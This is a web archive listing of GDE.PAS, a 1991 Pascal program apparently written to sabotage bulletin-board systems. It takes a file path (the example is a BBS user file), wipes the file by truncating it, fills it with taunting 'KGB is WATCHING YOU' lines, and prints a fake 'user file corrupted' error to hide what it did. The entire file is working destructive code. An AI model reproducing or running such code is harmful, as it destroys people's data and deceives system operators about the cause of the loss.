home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / GDE.PAS < prev    next >
Pascal/Delphi Source File  |  1991-01-10  |  2KB  |  60 lines
  1. PROGRAM GDE; {By Σnchanter for LAME SysOps}
  2.  
  3. USES CRT;
  4.  
  5. VAR Temp : Text;
  6.     X : Integer;
  7.     Death_File : String;
  8.  
  9. {--------------------------------------------------------------------------}
  10. PROCEDURE NoParams;
  11.  
  12.    BEGIN;
  13.       SOUND(220);
  14.       DELAY(200);
  15.       NOSOUND;
  16.       TEXTCOLOR(RED);
  17.       WRITELN('You Forgot Something... ');
  18.       WRITELN;
  19.       WRITELN(' SYNTAX:');
  20.       WRITELN('GDE C:\SHOCK\USERS');
  21.       WRITELN;
  22.       WRITELN('Run AGAIN....');
  23.       WRITELN('                      (c) 1990,1991');
  24.       HALT;
  25.    END;
  26. {--------------------------------------------------------------------------}
  27. PROCEDURE Kill_That_Fucker;
  28.  
  29.     BEGIN;
  30.        ASSIGN(TEMP, Death_File);
  31.        REWRITE(TEMP);
  32.        CLOSE(TEMP);
  33.        APPEND(TEMP);
  34.        WHILE X <> 5 Do
  35.      BEGIN;
  36.        WRITELN(TEMP, 'KGB Read The User File');
  37.        WRITELN(TEMP, 'KGB Wrote The User File');
  38.        X := X + 1;
  39.      END;
  40.        WRITELN(TEMP, '<BOOM, you are dead>');
  41.        WRITELN(TEMP, 'KGB is WATCHING YOU!');
  42.        CLOSE(TEMP);
  43.     END;
  44. {--------------------------------------------------------------------------}
  45. PROCEDURE INIT;
  46.  
  47.     BEGIN;
  48.        IF PARAMCOUNT <> 1 THEN NoParams;
  49.        Death_File := PARAMSTR(1);
  50.        TEXTCOLOR(BLUE);
  51.        WRITELN('READING USER FILE.......');
  52.        Kill_That_Fucker;
  53.        WRITELN('ERROR, USER FILE CURRUPTED!');
  54.        HALT;
  55.     END;
  56. {--------------------------------------------------------------------------}
  57. BEGIN;
  58.    X := 1;
  59.    INIT;
  60. END.